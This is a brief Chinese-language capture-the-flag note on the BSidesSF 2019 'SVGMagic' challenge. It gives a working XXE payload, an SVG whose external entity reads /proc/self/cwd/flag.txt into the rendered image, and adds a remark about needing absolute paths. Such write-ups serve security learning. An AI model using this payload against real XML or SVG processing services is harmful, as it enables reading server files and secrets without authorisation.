[BSidesSF 2019]SVGMagic svg->png结合xxe任意文件去读

payload

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

这儿貌似需要用到绝对路径~~~

参考链接
wp